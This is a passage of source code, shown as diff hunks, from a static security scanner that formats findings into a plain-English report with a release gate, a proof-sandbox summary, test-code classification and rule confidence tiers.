|
|
203
|
+
function semgrepMessages(rulesDir) {
|
|
204
|
+
let m = ruleCache.get(rulesDir);
|
|
205
|
+
if (m)
|
|
206
|
+
return m;
|
|
207
|
+
m = new Map();
|
|
208
|
+
let names = [];
|
|
209
|
+
try {
|
|
210
|
+
names = readdirSync(rulesDir).filter((n) => /\.ya?ml$/.test(n)).sort();
|
|
211
|
+
}
|
|
212
|
+
catch { /* no rules folder */ }
|
|
213
|
+
for (const n of names) {
|
|
214
|
+
const lines = readFileSync(join(rulesDir, n), 'utf8').split('\n');
|
|
215
|
+
let id = null;
|
|
216
|
+
for (let i = 0; i < lines.length; i++) {
|
|
217
|
+
const idm = /^\s*-\s*id:\s*["']?([\w.-]+)/.exec(lines[i]);
|
|
218
|
+
if (idm) {
|
|
219
|
+
id = idm[1];
|
|
220
|
+
continue;
|
|
221
|
+
}
|
|
222
|
+
const mm = /^(\s*)message:\s*(.*)$/.exec(lines[i]);
|
|
223
|
+
if (!mm || !id)
|
|
224
|
+
continue;
|
|
225
|
+
let text = mm[2].trim();
|
|
226
|
+
if (/^[>|]-?$/.test(text)) {
|
|
227
|
+
const body = [];
|
|
228
|
+
for (let k = i + 1; k < lines.length && (lines[k].trim() === '' || /^\s*/.exec(lines[k])[0].length > mm[1].length); k++)
|
|
229
|
+
body.push(lines[k].trim());
|
|
230
|
+
text = body.join(' ').trim();
|
|
231
|
+
}
|
|
232
|
+
m.set(id, text.replace(/^["']|["']$/g, ''));
|
|
233
|
+
id = null;
|
|
234
|
+
}
|
|
235
|
+
}
|
|
236
|
+
ruleCache.set(rulesDir, m);
|
|
237
|
+
return m;
|
|
238
|
+
}
|
|
239
|
+
const firstSentence = (s) => {
|
|
240
|
+
const at = s.search(/\.\s/);
|
|
241
|
+
return at < 0 ? [s.replace(/\.$/, ''), ''] : [s.slice(0, at), s.slice(at + 1).trim()];
|
|
242
|
+
};
|
|
243
|
+
export function ruleMessage(tool, ruleId, rulesDirs) {
|
|
244
|
+
if (tool === 'semgrep') {
|
|
245
|
+
// A later folder (the rule pack) wins over an earlier one for the same rule id.
|
|
246
|
+
const text = rulesDirs.map((d) => semgrepMessages(d).get(ruleId)).filter(Boolean).pop();
|
|
247
|
+
if (text) {
|
|
248
|
+
const [title, rest] = firstSentence(text);
|
|
249
|
+
return { title, root: `rule ${ruleId}`, impact: title + '.', fix: rest || 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
|
|
250
|
+
}
|
|
251
|
+
return { title: `Semgrep rule ${ruleId} matched`, root: `rule ${ruleId}`, impact: 'A code pattern linked to the requirement was found.', fix: 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
|
|
252
|
+
}
|
|
253
|
+
if (tool === 'gitleaks')
|
|
254
|
+
return {
|
|
255
|
+
title: 'A secret shaped value is committed', root: `secret ${ruleId}`,
|
|
256
|
+
impact: 'Anyone who can read the code or its history can use the value if it is live.',
|
|
257
|
+
fix: 'Rotate the value in the provider dashboard first, then move it to environment configuration and remove it from the code. Removing it from history does not make it safe again.',
|
|
258
|
+
confirm: 'The provider shows the old value revoked, then rerun hullproof scan.',
|
|
259
|
+
};
|
|
260
|
+
if (tool === 'osv-scanner')
|
|
261
|
+
return {
|
|
262
|
+
title: `Dependency has a known vulnerability (${ruleId})`, root: `advisory ${ruleId}`,
|
|
263
|
+
impact: 'Code with a published vulnerability is part of the app.',
|
|
264
|
+
fix: 'Upgrade the package to a fixed version, or record why the vulnerable code is not reachable.',
|
|
265
|
+
confirm: 'Rerun hullproof scan with --allow-network; the advisory no longer appears.',
|
|
266
|
+
};
|
|
267
|
+
return {
|
|
268
|
+
title: `${tool} check ${ruleId} matched`, root: `${tool} ${ruleId}`,
|
|
269
|
+
impact: 'A configuration pattern linked to the requirement was found.',
|
|
270
|
+
fix: `Read ${tool} check ${ruleId} and change the configuration it points at.`,
|
|
271
|
+
confirm: 'Rerun hullproof scan; the check no longer matches.',
|
|
272
|
+
};
|
|
273
|
+
}
|
|
@@ -0,0 +1,65 @@
|
|
|
1
|
+
// The proof sandbox part of report.md: what was proven by a test (with the redacted request and response of the attack and the hashes
|
|
2
|
+
// of the three transcripts), what was not proven and why, and what is not provable here. Built from the prove files only. Same files,
|
|
3
|
+
// same bytes. A scan folder with no prove folder gets no section, so earlier reports keep their bytes.
|
|
4
|
+
import { existsSync } from 'node:fs';
|
|
5
|
+
import { proveDir, readProveResult, readRuns } from '../prove/store.js';
|
|
6
|
+
export function loadProveFiles(scanDir) {
|
|
7
|
+
const dir = proveDir(scanDir);
|
|
8
|
+
if (!existsSync(dir))
|
|
9
|
+
return { result: null, first: {} };
|
|
10
|
+
const result = readProveResult(dir);
|
|
11
|
+
const first = {};
|
|
12
|
+
for (const s of result?.specs ?? [])
|
|
13
|
+
if (s.outcome === 'proven') {
|
|
14
|
+
const r = readRuns(dir, s.spec_id)[0];
|
|
15
|
+
if (r)
|
|
16
|
+
first[s.spec_id] = r;
|
|
17
|
+
}
|
|
18
|
+
return { result, first };
|
|
19
|
+
}
|
|
20
|
+
const cell = (s) => s.replace(/\|/g, '\\|').replace(/\s+/g, ' ');
|
|
21
|
+
const loc = (e) => `\`${e.file}:${e.line}\``;
|
|
22
|
+
const clip = (s, n) => (s.length <= n ? s : s.slice(0, n - 1) + '…');
|
|
23
|
+
const body = (r) => clip(r.json !== undefined ? JSON.stringify(r.json) : (r.text ?? ''), 240);
|
|
24
|
+
export function renderProve(f, merged) {
|
|
25
|
+
const r = f?.result;
|
|
26
|
+
if (!f || !r)
|
|
27
|
+
return [];
|
|
28
|
+
const out = [];
|
|
29
|
+
const p = (...l) => { out.push(...l); };
|
|
30
|
+
const c = r.counts;
|
|
31
|
+
p('## Proof sandbox: findings proven by a test', '');
|
|
32
|
+
p('A test written as data ran against a copy of the app inside a sandbox with no network, no secrets and no access to your files. A flaw counts as proven only when the positive control passed and the attack got through in 3 of 3 runs. Anything less stays a lead with its reason, and a lead never holds or releases the gate.', '');
|
|
33
|
+
p(`1. Runner: ${r.runner}${r.runner === 'container' ? '' : ' (no isolation, for the engine\'s own fixtures only)'}. Specs: ${c.specs}. Proven: ${c.proven}. Not proven: ${c.not_proven}. Invalid: ${c.invalid}. Unstable: ${c.unstable}. Error: ${c.error}. Not provable here: ${c.not_provable}. Spec files dropped: ${c.dropped}.`);
|
|
34
|
+
p(`2. Left behind after teardown: ${r.left_behind}. Left out of the copy that went into the sandbox: ${r.copy_excluded.length} item(s) such as environment files and keys.`, '');
|
|
35
|
+
if (r.not_provable)
|
|
36
|
+
p(`Not provable here (${r.not_provable.code}): ${r.not_provable.reason}`, '');
|
|
37
|
+
const gate = new Set((merged?.inGate ?? []).map((l) => l.key));
|
|
38
|
+
const provenSpecs = r.specs.filter((s) => s.outcome === 'proven');
|
|
39
|
+
if (provenSpecs.length) {
|
|
40
|
+
p('### Proven findings', '');
|
|
41
|
+
provenSpecs.forEach((s, i) => {
|
|
42
|
+
const key = s.lead_key ?? `spec:${s.spec_id}`;
|
|
43
|
+
p(`#### P-${i + 1} ${s.claim}`, '');
|
|
44
|
+
p(`Where: ${loc(s.sink)}. Requirements: ${s.requirement_ids.join(', ') || 'none named'}. Test: ${s.title} (${s.spec_id}).`);
|
|
45
|
+
p(`Evidence: ${s.runs.length} of ${r.runs_required} runs proven. Transcript hashes: ${s.runs.map((x) => `run ${x.run} ${x.transcript_sha256.slice(0, 16)}`).join(', ')}. Files: \`prove/runs/${s.spec_id}/run-1.json\` to \`run-${r.runs_required}.json\`.`);
|
|
46
|
+
const rec = f.first[s.spec_id];
|
|
47
|
+
const attack = rec?.steps.filter((x) => x.phase === 'attack') ?? [];
|
|
48
|
+
for (const st of attack)
|
|
49
|
+
if (st.response)
|
|
50
|
+
p(`Attack step ${st.id}: ${st.actor} sent ${st.request.method} ${st.request.path} and got ${st.response.status} ${body(st.response)}`);
|
|
51
|
+
p(gate.has(key) ? 'Counts in the gate: yes, as a fail record with machine evidence (kind test).' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).', '');
|
|
52
|
+
});
|
|
53
|
+
}
|
|
54
|
+
const rest = r.specs.filter((s) => s.outcome !== 'proven');
|
|
55
|
+
if (rest.length) {
|
|
56
|
+
p('### Not proven', '', 'These stay leads. None of them can hold or release the gate.', '', '| Spec | Where | Result | Why |', '|---|---|---|---|');
|
|
57
|
+
for (const s of rest)
|
|
58
|
+
p(`| ${cell(s.spec_id)} | ${loc(s.sink)} | ${s.outcome.replace('_', ' ')} | ${cell(s.reason)} |`);
|
|
59
|
+
p('');
|
|
60
|
+
}
|
|
61
|
+
if (r.dropped.length) {
|
|
62
|
+
p('### Spec files dropped', '', ...r.dropped.map((d) => `- ${d.file}: ${d.reason}`), '');
|
|
63
|
+
}
|
|
64
|
+
return out;
|
|
65
|
+
}
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
// report.md: the plain English report for people who build with AI tools. Built from the scan folder only.
|
|
2
|
+
// Same scan folder, same bytes: no clock, no absolute path, everything sorted.
|
|
3
|
+
import { cmp } from '../util.js';
|
|
4
|
+
import { ENGINE_VERSION } from '../version.js';
|
|
5
|
+
import { OWNER_ACTION } from './build.js';
|
|
6
|
+
import { SEV_RANK } from './kit.js';
|
|
7
|
+
import { renderEntryPoints } from './entry-points.js';
|
|
8
|
+
import { reportSection } from '../packs/coverage.js';
|
|
9
|
+
import { renderHunt } from './hunt-section.js';
|
|
10
|
+
import { renderProve } from './prove-section.js';
|
|
11
|
+
const cell = (s) => s.replace(/\|/g, '\\|').replace(/\n/g, ' ');
|
|
12
|
+
const loc = (e) => `\`${e.file}:${e.line}\``;
|
|
13
|
+
const STATE_ORDER = ['NEEDS DYNAMIC TEST', 'NEEDS DASHBOARD', 'NEEDS BUILD', 'ASK OWNER', 'ATTESTATION', 'UNKNOWN'];
|
|
14
|
+
const STATE_MEANS = {
|
|
15
|
+
'NEEDS DYNAMIC TEST': 'Only a test of the running app (or a staging copy) can settle these.',
|
|
16
|
+
'NEEDS DASHBOARD': 'Only a provider setting can settle these, shown by a dated export or screenshot.',
|
|
17
|
+
'NEEDS BUILD': 'Only a production build from this commit can settle these.',
|
|
18
|
+
'ASK OWNER': 'Only the owner can answer these.',
|
|
19
|
+
'ATTESTATION': 'These need a signed, dated statement.',
|
|
20
|
+
'UNKNOWN': 'These are settled by reading code, and no engine check or rule covers them yet. The engine has a code map and no model.',
|
|
21
|
+
};
|
|
22
|
+
export function renderReport(s, kit, gate, merged = null) {
|
|
23
|
+
const out = [];
|
|
24
|
+
const p = (...l) => { out.push(...l); };
|
|
25
|
+
const fails = s.findings.records.filter((r) => r.kind === 'fail')
|
|
26
|
+
.sort((a, b) => SEV_RANK[b.severity] - SEV_RANK[a.severity] || cmp(a.fingerprint, b.fingerprint));
|
|
27
|
+
const allObs = s.findings.records.filter((r) => r.kind === 'observation');
|
|
28
|
+
// Test code observations carry a fingerprint slug starting with test-code (src/report/build.ts).
|
|
29
|
+
const slugOf = (o) => o.fingerprint.split(':')[2];
|
|
30
|
+
const isTest = (o) => slugOf(o).startsWith('test-code-');
|
|
31
|
+
const isLead = (o) => slugOf(o).startsWith('lead-');
|
|
32
|
+
const obs = allObs.filter((o) => !isTest(o) && !isLead(o));
|
|
33
|
+
const testObs = allObs.filter(isTest);
|
|
34
|
+
const leadObs = allObs.filter(isLead);
|
|
35
|
+
const count = (w) => s.results.filter((r) => r.result.startsWith(w)).length;
|
|
36
|
+
const stageText = s.info.stage_source === 'STAGE.md' ? 'read from docs/security/STAGE.md' : s.info.stage_source === 'flag' ? 'set with --stage' : 'not declared, so LAUNCH is assumed';
|
|
37
|
+
p('# Hullproof report', '');
|
|
38
|
+
p(`Commit \`${s.info.commit}\`, tree \`${s.info.tree}\`, ${s.info.tree_clean ? 'no uncommitted changes to tracked files' : 'with uncommitted changes to tracked files (the report covers the files as they were, not the commit alone)'}. Hullproof Engine ${ENGINE_VERSION}, standard ${s.info.kit.standard_version}, ${s.info.edition} edition, stage ${s.info.stage} (${stageText}).`, '');
|
|
39
|
+
p('This report comes from code and configuration only, with no model. Every finding is a pattern match that nobody has confirmed yet, so treat each one as likely and use its check step to confirm it. A requirement that nothing settled is listed as NOT ASSESSED. That is never a pass.', '');
|
|
40
|
+
p(`## Verdict: ${gate.label}`, '');
|
|
41
|
+
const notMet = gate.conditions.filter((c) => !c.met);
|
|
42
|
+
if (gate.verdict === 'NOT READY') {
|
|
43
|
+
p(`The release gate is not met. ${notMet.length} of ${gate.conditions.length} conditions are open${gate.runSupportsReady ? '' : ', and a run with unconfirmed BLOCKER or CRITICAL findings cannot support READY'}. A scan of files alone can never reach READY: most BLOCKER and CRITICAL requirements are settled by provider settings, a production build or a test of the running app, which the owner supplies.`, '');
|
|
44
|
+
}
|
|
45
|
+
else {
|
|
46
|
+
p('Every condition of the release gate is met for this commit with the evidence supplied.', '');
|
|
47
|
+
}
|
|
48
|
+
p('| Condition | Met | Why |', '|---|---|---|');
|
|
49
|
+
for (const c of gate.conditions)
|
|
50
|
+
p(`| ${c.id} | ${c.met ? 'yes' : 'no'} | ${cell(c.why)} |`);
|
|
51
|
+
p('');
|
|
52
|
+
p('## Summary', '');
|
|
53
|
+
const bySev = ['BLOCKER', 'CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].map((v) => [v, fails.filter((f) => f.severity === v).length]).filter(([, n]) => n > 0);
|
|
54
|
+
p(`1. Findings: ${fails.length}${bySev.length ? ` (${bySev.map(([v, n]) => `${n} ${v}`).join(', ')})` : ''}. In test code, reported apart and never in the gate: ${testObs.length}. Leads from rules still being measured, never in the gate: ${leadObs.length}.`);
|
|
55
|
+
p(`2. Requirements in scope: ${s.results.length}. FAIL ${count('FAIL')}, PASS (static) ${count('PASS')}, NOT ASSESSED ${count('NOT ASSESSED')}.`);
|
|
56
|
+
p(`3. Checks: ${s.info.checks.ran} ran, ${s.info.checks.not_run} did not run (listed below with the reason).`);
|
|
57
|
+
const ran = s.metas.filter((m) => m.status === 'ran').map((m) => m.tool);
|
|
58
|
+
p(`4. Scanners that ran: ${ran.length ? ran.join(', ') : 'none'}.${s.info.scanners_available ? '' : ' The scanner adapters were not available in this build, so no scanner ran.'}`);
|
|
59
|
+
const pack = s.info.rule_pack;
|
|
60
|
+
p(`5. Semgrep rule pack: ${pack ? `${pack.name}, ${pack.files.length} rule files added to the engine rules (sha256 ${pack.sha256.slice(0, 16)})` : 'none, the engine rules only'}.`, '');
|
|
61
|
+
p('## Findings, most severe first', '');
|
|
62
|
+
if (fails.length === 0)
|
|
63
|
+
p('No check or mapped rule failed. That does not mean the requirements pass: see NOT ASSESSED below.', '');
|
|
64
|
+
fails.forEach((f, i) => {
|
|
65
|
+
const me = f.machine_evidence;
|
|
66
|
+
p(`### F-${i + 1} ${f.severity}: ${f.title}`, '');
|
|
67
|
+
p(`Where: ${f.evidence.map(loc).join(', ')}`, '');
|
|
68
|
+
p(`Requirements: ${f.sec_ids.map((id) => `${id} (${kit.byId.get(id)?.title ?? 'unknown'})`).join('; ')}`, '');
|
|
69
|
+
p(`What could happen: ${f.impact_statement}`, '');
|
|
70
|
+
p(`How to fix it: ${f.remediation.strategy}`, '');
|
|
71
|
+
p(`How to check the fix: ${f.remediation.confirm}`, '');
|
|
72
|
+
p(`Found by: ${me.tool === 'hullproof-check' ? `engine check ${me.rule_id}` : `${me.tool} ${me.tool_version}, rule ${me.rule_id}`}. Each line: ${f.evidence.map((e) => `${e.file}:${e.line} ${e.note}`).join('; ')}.`, '');
|
|
73
|
+
});
|
|
74
|
+
p(...renderHunt(s.hunt, merged));
|
|
75
|
+
p(...renderProve(s.prove, merged));
|
|
76
|
+
if (obs.length) {
|
|
77
|
+
p('## Leads outside this run\'s scope', '');
|
|
78
|
+
p('These were found but do not count in this run: their requirement is above the declared stage, outside the edition, or not mapped to a requirement. They never affect the gate.', '');
|
|
79
|
+
for (const o of obs)
|
|
80
|
+
p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
|
|
81
|
+
p('');
|
|
82
|
+
}
|
|
83
|
+
if (leadObs.length) {
|
|
84
|
+
p('## Leads from rules still being measured', '');
|
|
85
|
+
p('Each rule has a confidence tier from measurement on public benchmarks (rules/tiers.json). A rule whose measured precision is below the threshold, or that has not been measured yet, reports leads: read the code at each place. Leads never fail a requirement or affect the gate. Secret findings are never leads.', '');
|
|
86
|
+
for (const o of leadObs)
|
|
87
|
+
p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
|
|
88
|
+
p('');
|
|
89
|
+
}
|
|
90
|
+
if (testObs.length) {
|
|
91
|
+
p('## Findings in test code', '');
|
|
92
|
+
p('These are in test, fixture, spec, mock or example files, found by folder and file name conventions. They are kept so a person can read them, and they never fail a requirement or affect the gate. Secret findings are not in this list: a live key is a leak wherever it is committed, so they stay findings.', '');
|
|
93
|
+
for (const o of testObs)
|
|
94
|
+
p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
|
|
95
|
+
p('');
|
|
96
|
+
}
|
|
97
|
+
p('## What could not run, and why', '');
|
|
98
|
+
p('| Scanner | Status | Why | Version | Requirements left NOT ASSESSED because of it |', '|---|---|---|---|---|');
|
|
99
|
+
if (s.metas.length === 0)
|
|
100
|
+
p('| all | no scanner adapter ran | | none | the requirements their rules cover |');
|
|
101
|
+
for (const m of s.metas)
|
|
102
|
+
p(`| ${m.tool} | ${m.status} | ${cell(s.reasons[m.tool] ?? '')} | ${m.version ?? 'none'}${m.version && !m.version_tested ? ' (not a tested version)' : ''} | ${m.not_assessed_sec_ids.join(', ') || 'none'} |`);
|
|
103
|
+
p('');
|
|
104
|
+
if (s.checks.not_run.length) {
|
|
105
|
+
p('| Check | Why it did not run |', '|---|---|');
|
|
106
|
+
for (const n of s.checks.not_run)
|
|
107
|
+
p(`| ${n.check_id} | ${cell(n.reason)} |`);
|
|
108
|
+
p('');
|
|
109
|
+
}
|
|
110
|
+
if (s.info.dropped.length) {
|
|
111
|
+
p('Some checks name requirements that this kit\'s controls file does not hold yet, so those requirements are not in the results:', '');
|
|
112
|
+
for (const d of s.info.dropped)
|
|
113
|
+
p(`- ${d.source} at \`${d.where}\`: ${d.ids.join(', ')}`);
|
|
114
|
+
p('');
|
|
115
|
+
}
|
|
116
|
+
p('Discovery reads files, not deployments. Anything set only in a provider dashboard is invisible to this scan.', '');
|
|
117
|
+
p('## What the scan read', '');
|
|
118
|
+
p(`${s.surface.files_listed} files were listed (dependency folders, build output, ignored files and the kit's own folders are left out).`, '');
|
|
119
|
+
p('| Kind | Files |', '|---|---|');
|
|
120
|
+
for (const k of s.surface.surfaces)
|
|
121
|
+
p(`| ${k.kind} | ${k.count} |`);
|
|
122
|
+
p('');
|
|
123
|
+
if (s.codemap)
|
|
124
|
+
p(...renderEntryPoints(s.codemap));
|
|
125
|
+
p(...reportSection(s.stack));
|
|
126
|
+
p('## Unverified controls (NOT ASSESSED)', '');
|
|
127
|
+
p('Nothing in the files settled these. They are open, not passed. Each group says what settles it.', '');
|
|
128
|
+
for (const st of STATE_ORDER) {
|
|
129
|
+
const rows = s.results.filter((r) => r.result === `NOT ASSESSED: ${st}`);
|
|
130
|
+
if (!rows.length)
|
|
131
|
+
continue;
|
|
132
|
+
p(`### NOT ASSESSED: ${st} (${rows.length})`, '', `${STATE_MEANS[st]} ${OWNER_ACTION[st]}`, '');
|
|
133
|
+
p('| ID | Severity | Requirement |', '|---|---|---|');
|
|
134
|
+
for (const r of rows.slice().sort((a, b) => SEV_RANK[kit.byId.get(b.id).severity] - SEV_RANK[kit.byId.get(a.id).severity] || cmp(a.id, b.id))) {
|
|
135
|
+
const c = kit.byId.get(r.id);
|
|
136
|
+
p(`| ${r.id} | ${c.severity} | ${cell(c.title)} |`);
|
|
137
|
+
}
|
|
138
|
+
p('');
|
|
139
|
+
}
|
|
140
|
+
const passes = s.results.filter((r) => r.result === 'PASS (static)');
|
|
141
|
+
if (passes.length) {
|
|
142
|
+
p('## PASS (static)', '', 'Settled by reading the repository. Only requirements whose authority is the repository can pass this way.', '');
|
|
143
|
+
p('| ID | Requirement | How |', '|---|---|---|');
|
|
144
|
+
for (const r of passes)
|
|
145
|
+
p(`| ${r.id} | ${cell(kit.byId.get(r.id)?.title ?? '')} | ${cell(r.notes)} |`);
|
|
146
|
+
p('');
|
|
147
|
+
}
|
|
148
|
+
p('## Reproducibility', '');
|
|
149
|
+
p('The same commit, engine version, kit files and tool versions give the same bytes in every file of the scan folder except run.json and scan/run.json.', '');
|
|
150
|
+
p('| Item | Value |', '|---|---|');
|
|
151
|
+
p(`| Engine | ${ENGINE_VERSION} |`, `| Controls file sha256 | ${s.info.kit.controls_sha256} |`, `| Checks | ${s.info.checks.total} |`);
|
|
152
|
+
for (const m of s.metas)
|
|
153
|
+
p(`| ${m.tool} | ${m.version ?? 'not run'}, config sha256 ${m.config_sha256 ?? 'none'}, files scanned ${m.files_scanned ?? 'unknown'} of ${m.files_tracked ?? 'unknown'} tracked${m.db_date ? `, advisory data ${m.db_date}` : ''} |`);
|
|
154
|
+
p('');
|
|
155
|
+
return out.join('\n');
|
|
156
|
+
}
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
import { handlerFiles } from '../checks/code/shared.js';
|
|
2
|
+
const MAX_LISTED = 50;
|
|
3
|
+
export function surface(ctx) {
|
|
4
|
+
const handlers = handlerFiles(ctx);
|
|
5
|
+
const kinds = [
|
|
6
|
+
['server request handlers', handlers],
|
|
7
|
+
['webhook handlers', handlers.filter((f) => /webhook/i.test(f))],
|
|
8
|
+
['admin handlers', handlers.filter((f) => /(^|\/)(admin|backoffice|staff)(\/|\.|$)/i.test(f))],
|
|
9
|
+
['sign in and account routes', handlers.filter((f) => /login|signin|sign-in|signup|sign-up|register|password|otp|auth/i.test(f))],
|
|
10
|
+
['AI tool and model code', ctx.select(['**/{ai,llm,agent,agents,mcp}/**/*', '**/*tool*.{ts,js,py}'])],
|
|
11
|
+
['database migrations and rules', ctx.select(['**/migrations/**/*.sql', '**/schema.sql', '**/*.rules', '**/database.rules.json'])],
|
|
12
|
+
['CI workflows', ctx.select(['.github/workflows/*.{yml,yaml}', '.gitlab-ci.yml', 'bitbucket-pipelines.yml', '.circleci/config.yml', 'azure-pipelines.yml'])],
|
|
13
|
+
['infrastructure code', ctx.select(['**/*.tf', '**/*.tf.json', '**/*.bicep', '**/template.{yml,yaml}', '**/Dockerfile*', '**/*compose*.{yml,yaml}', '**/k8s/**/*.{yml,yaml}'])],
|
|
14
|
+
['framework and platform configuration', ctx.select(['next.config.*', 'nuxt.config.*', 'vite.config.*', 'vercel.json', 'netlify.toml', 'firebase.json', 'supabase/config.toml', '**/settings.py', 'app.json', 'app.config.*'])],
|
|
15
|
+
];
|
|
16
|
+
return {
|
|
17
|
+
schema_version: '1.0.0',
|
|
18
|
+
files_listed: ctx.files.length,
|
|
19
|
+
surfaces: kinds.map(([kind, files]) => ({ kind, count: files.length, files: files.slice(0, MAX_LISTED) })),
|
|
20
|
+
};
|
|
21
|
+
}
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
// Test code: findings in test, fixture, spec, mock and example files are kept, marked as test code and reported apart.
|
|
2
|
+
// They never fail a requirement or reach the gate, except for requirements whose subject is test material that ships
|
|
3
|
+
// (TEST_ARTIFACT_IDS), where a test file is exactly the thing the requirement is about.
|
|
4
|
+
import { existsSync, readFileSync } from 'node:fs';
|
|
5
|
+
import { fileURLToPath } from 'node:url';
|
|
6
|
+
// A path is test code when a folder in it, or its file name, follows a convention the language's own tools use:
|
|
7
|
+
//
|
|
8
|
+
// | Kind | Folder names (any folder in the path, any case) | File names |
|
|
9
|
+
// |---|---|---|
|
|
10
|
+
// | any language | test, tests, __tests__, __test__, spec, specs, e2e, cypress, __mocks__, mocks, mock, fixtures, fixture, __fixtures__, testdata, test-data, test_data, testfixtures, androidtest, example, examples, sample, samples | |
|
|
11
|
+
// | JavaScript, TypeScript | | *.test.*, *.spec.*, *.e2e.*, *.cy.*, *.mock.*, *.fixture.*, *.fixtures.* (js, jsx, ts, tsx, mjs, cjs, mts, cts) |
|
|
12
|
+
// | Python | | test_*.py, *_test.py, conftest.py, tests.py |
|
|
13
|
+
// | Go | | *_test.go (testdata/ is Go's fixture folder, above) |
|
|
14
|
+
// | Java, Kotlin, Groovy, Scala | | *Test, *Tests, *IT, *Spec (.java, .kt, .groovy, .scala); src/test/ through the folder rule |
|
|
15
|
+
// | PHP | | *Test.php |
|
|
16
|
+
// | Ruby | | *_spec.rb, *_test.rb |
|
|
17
|
+
// | C# | | *Test.cs, *Tests.cs |
|
|
18
|
+
// | Dart | | *_test.dart |
|
|
19
|
+
//
|
|
20
|
+
// "testing" is not on the list: Go and Python use it for shipped helper packages. A production file that happens to sit
|
|
21
|
+
// in a folder named like this (an `examples/` folder that is deployed, for instance) is still marked test code; the
|
|
22
|
+
// report lists every such record so a person can see it.
|
|
23
|
+
const TEST_FOLDERS = new Set([
|
|
24
|
+
'test', 'tests', '__tests__', '__test__', 'spec', 'specs', 'e2e', 'cypress', '__mocks__', 'mocks', 'mock', 'fixtures',
|
|
25
|
+
'fixture', '__fixtures__', 'testdata', 'test-data', 'test_data', 'testfixtures', 'androidtest', 'example', 'examples',
|
|
26
|
+
'sample', 'samples',
|
|
27
|
+
]);
|
|
28
|
+
const TEST_FILES = [
|
|
29
|
+
{ re: /\.(test|spec|e2e|cy|mock|fixtures?)\.[cm]?[jt]sx?$/i, kind: 'JavaScript or TypeScript test file name' },
|
|
30
|
+
{ re: /^(test_.*|.*_test|conftest|tests)\.py$/, kind: 'Python test file name' },
|
|
31
|
+
{ re: /_test\.go$/, kind: 'Go test file name' },
|
|
32
|
+
{ re: /(Test|Tests|IT|Spec)\.(java|kt|groovy|scala)$/, kind: 'JVM test class name' },
|
|
33
|
+
{ re: /Test\.php$/, kind: 'PHP test class name' },
|
|
34
|
+
{ re: /_(spec|test)\.rb$/, kind: 'Ruby test file name' },
|
|
35
|
+
{ re: /Tests?\.cs$/, kind: 'C# test class name' },
|
|
36
|
+
{ re: /_test\.dart$/, kind: 'Dart test file name' },
|
|
37
|
+
];
|
|
38
|
+
// Requirements about test material in the shipped product (test routes, seed scripts and sample code kept out of
|
|
39
|
+
// production, seed and fixture data kept out of the migration chain): a hit in a test path still fails these. The IDs
|
|
40
|
+
// are data in rules/test-artifact-ids.json, so each edition of the rules lists the ones it has.
|
|
41
|
+
const ARTIFACT_FILE = fileURLToPath(new URL('../../rules/test-artifact-ids.json', import.meta.url));
|
|
42
|
+
export const TEST_ARTIFACT_IDS = new Set(existsSync(ARTIFACT_FILE) ? JSON.parse(readFileSync(ARTIFACT_FILE, 'utf8')).sec_ids : []);
|
|
43
|
+
// Why a repository relative POSIX path counts as test code, or null when it does not.
|
|
44
|
+
export function testCodeReason(file) {
|
|
45
|
+
const parts = file.split('/');
|
|
46
|
+
const name = parts.pop() ?? '';
|
|
47
|
+
const folder = parts.find((p) => TEST_FOLDERS.has(p.toLowerCase()));
|
|
48
|
+
if (folder)
|
|
49
|
+
return `folder ${folder}/`;
|
|
50
|
+
return TEST_FILES.find((t) => t.re.test(name))?.kind ?? null;
|
|
51
|
+
}
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
// Rule confidence tiers (rules/tiers.json). A Semgrep rule is "gate" or "lead". A gate rule's hit fails its requirements
|
|
2
|
+
// as before. A lead rule's hit is listed in the report as a lead and never fails a requirement or holds the gate.
|
|
3
|
+
// The tier comes from measurement: a rule whose measured precision is below the threshold in the file is a lead until a
|
|
4
|
+
// later measurement raises it. A rule not in the file keeps a default: engine taint rules (taint-*.yaml, rule ids
|
|
5
|
+
// hullproof-taint-*) are leads, every other rule is gate, which is how the kit rules with fixtures behaved before tiers.
|
|
6
|
+
// Gitleaks hits, Semgrep rules mapped to a SEC-SECRETS ID, engine checks, Trivy and OSV are always gate.
|
|
7
|
+
import { existsSync, readFileSync } from 'node:fs';
|
|
8
|
+
import { dirname, join } from 'node:path';
|
|
9
|
+
// The tier file sits next to each Semgrep rule folder (rules/tiers.json, and a tier file next to a rule pack). Later folders (the rule
|
|
10
|
+
// pack) win for the same rule id; the threshold and minimum come from the first file found.
|
|
11
|
+
const DEFAULT = { threshold: 0.8, min_judged: 3, rules: {} };
|
|
12
|
+
export function loadTiers(semgrepDirs) {
|
|
13
|
+
const files = semgrepDirs.map((d) => join(dirname(d), 'tiers.json')).filter((p) => existsSync(p)).map((p) => JSON.parse(readFileSync(p, 'utf8')));
|
|
14
|
+
if (!files.length)
|
|
15
|
+
return DEFAULT;
|
|
16
|
+
return { threshold: files[0].threshold, min_judged: files[0].min_judged, rules: Object.assign({}, ...files.map((f) => f.rules)) };
|
|
17
|
+
}
|
|
18
|
+
// A hit that is about a secret: a live key is a leak wherever it is committed, so it always holds the gate.
|
|
19
|
+
export const isSecretHit = (h) => h.tool === 'gitleaks' || h.sec_ids.some((id) => id.startsWith('SEC-SECRETS-'));
|
|
20
|
+
// The tier entry for a hit, or null when the hit is gate.
|
|
21
|
+
export function leadTier(h, t) {
|
|
22
|
+
if (h.tool !== 'semgrep' || isSecretHit(h))
|
|
23
|
+
return null;
|
|
24
|
+
const e = t.rules[h.rule_id] ?? (h.rule_id.startsWith('hullproof-taint-')
|
|
25
|
+
? { tier: 'lead', precision: null, judged: 0, evidence: 'not measured yet', date: null } : null);
|
|
26
|
+
return e && e.tier === 'lead' ? e : null;
|
|
27
|
+
}
|
|
28
|
+
// An engine check that reads the code map (check.map.*) is a lead until a measurement puts it in tiers.json with a precision at
|
|
29
|
+
// or above the threshold. Every other engine check is gate, as before.
|
|
